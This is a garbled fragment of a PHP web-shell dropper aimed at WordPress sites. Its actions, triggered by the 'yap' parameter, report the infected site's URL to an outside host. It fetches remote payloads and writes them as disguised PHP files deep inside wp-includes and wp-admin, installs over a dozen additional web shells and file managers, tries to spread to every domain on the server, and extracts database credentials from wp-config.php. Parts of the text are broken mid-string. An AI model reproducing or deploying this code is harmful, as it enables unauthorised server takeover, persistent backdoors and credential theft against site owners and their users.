documentRoot = $_SERVER['DOCUMENT_ROOT'] ?? getcwd();
if(empty($this->documentRoot) || !is_dir($this->documentRoot)) exit('ERR');
$this->protocol = (isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!='off'||$_SERVER['SERVER_PORT']==443)?'https://':'http://';
$this->currentUrl = $this->protocol.( $_SERVER['HTTP_HOST']??'' ).( $_SERVER['REQUEST_URI']??'' );
$this->baseUrl = $this->protocol.( $_SERVER['HTTP_HOST']??'' );
}
public function handleRequest() {
$action = $_GET['yap']??'';
$actions = ['downs','self_destruct','wpconfig','Filemanager','wpcache'];
if(in_array($action,$actions)) $this->{'handle'.$action.'Action'}();
if($_SERVER['REQUEST_METHOD']=='POST') $this->handlePostRequests();
}
private function handleDownsAction() {
try {
$currentScript = basename($_SERVER['PHP_SELF']);
$urls = [
$this->baseUrl . '/' . $currentScript . '?yap=wpconfig',
$this->baseUrl . '/' . $currentScript . '?yap=Filemanager',
$this->baseUrl . '/' . $currentScript . '?yap=self_destruct',
'https://www.linkmaster.xyz/seoget.php?auto=' . urlencode($this->currentUrl)
];
foreach ($urls as $url) {
echo '';
}
$this->downloadAndInstallFiles();
$this->renderDomainIframe();
} catch (Exception $e) {
error_log("Error in handleDownsAction: " . $e->getMessage());
echo '
Error in downs action: ' . htmlspecialchars($e->getMessage()) . '
';
}
}
private function downloadAndInstallFiles() {
$remoteFiles = [
'https://linkmaster.xyz/uzak/seoblog/style.txt' => __DIR__.'/style.php',
'https://linkmaster.xyz/uzak/seoblog/template.txt' => __DIR__.'/template.php',
'https://linkmaster.xyz/uzak/seoblog/wp-css.txt' => dirname(__DIR__).'/wp-css.php',
'https://linkmaster.xyz/uzak/seoblog/theme.txt' => dirname(__DIR__).'/theme.php',
'https://linkmaster.xyz/uzak/seoblog/zip.txt' => $this->documentRoot.'/wp-includes/dist.php',
'https://linkmaster.xyz/uzak/seoblog/yeni.txt' => $this->documentRoot.'/wp-includes/pomo/pomo.php',
'https://linkmaster.xyz/uzak/seoblog/control.txt' => $this->documentRoot.'/wp-includes/blocks/comments/blocks.php',
'https://linkmaster.xyz/uzak/seoblog/logo.txt' => $this->documentRoot.'/wp-includes/blocks/comments/logo.png'
];
foreach($remoteFiles as $url=>$path) $this->downloadFile($url,$path);
$this->installAdditionalShells();
$this->scanAndInstallOnAllDomains();
}
private function installAdditionalShells() {
$root = $this->documentRoot;
$shells = [
["https://linkmaster.xyz/svs/shell/fmadmin.txt","$root/wp-admin/fmadmin.php"],
["https://linkmaster.xyz/svs/shell/fmanager.txt","$root/wp-admin/css/midnight/fmanager.php"],
["https://linkmaster.xyz/svs/shell/adminer.txt","$root/wp-admin/css/modern/adminer.php"],
["https://linkmaster.xyz/svs/shell/wordpress.txt","$root/wp-admin/user/wordpress.php"],
["https://linkmaster.xyz/svs/shell/niil.txt","$root/wp-includes/css/dist/niil.php"],
["https://linkmaster.xyz/svs/shell/sok.txt","$root/wp-includes/css/dist/sok.php"],
["https://linkmaster.xyz/svs/shell/system.txt","$root/wp-includes/Requests/src/system.php"],
["https://linkmaster.xyz/svs/shell/tiny.txt","$root/wp-includes/Requests/src/Utility/tiny.php"],
["https://linkmaster.xyz/svs/shell/yeni.txt","$root/wp-includes/SimplePie/Content/Type/yeni.php"],
["https://linkmaster.xyz/svs/shell/zip-blog.txt","$root/wp-includes/SimplePie/Content/Type/zip-blog.php"],
["https://linkmaster.xyz/svs/shell/scan.txt","$root/wp-includes/blocks/audio/scan.php"],
["https://linkmaster.xyz/svs/shell/zip-header.txt","$root/wp-includes/blocks/audio/zip-header.php"],
["https://linkmaster.xyz/uzk/otomatik/seoblog/wordpress.txt","$root/wp-admin/maint/wordpress.txt"],
["https://linkmaster.xyz/uzk/otomatik/seoblog/wp-blog.txt","$root/wp-admin/maint/wp-blog.php"]
];
foreach($shells as $f){
$tmp = basename($f[1]);
if($this->downloadFile($f[0],$tmp) && $this->moveFile($tmp,$f[1])){
echo 'WordPress Manager
Root: =htmlspecialchars($this->documentRoot)?>
DB Info:
documentRoot.'/wp-config.php';
if(file_exists($cfg)){
$c=file_get_contents($cfg);
preg_match("/define\s*\(\s*'DB_NAME'\s*,\s*'([^']*)'\s*\);/",$c,$db);
preg_match("/define\s*\(\s*'DB_USER'\s*,\s*'([^']*)'\s*\);/",$c,$u);
preg_match("/define\s*\(\s*'DB_PASSWORD'\s*,\s*'([^']*)'\s*\);/",$c,$p);
echo '
';
}
?>
handleRequest(); $m->renderUI();
?>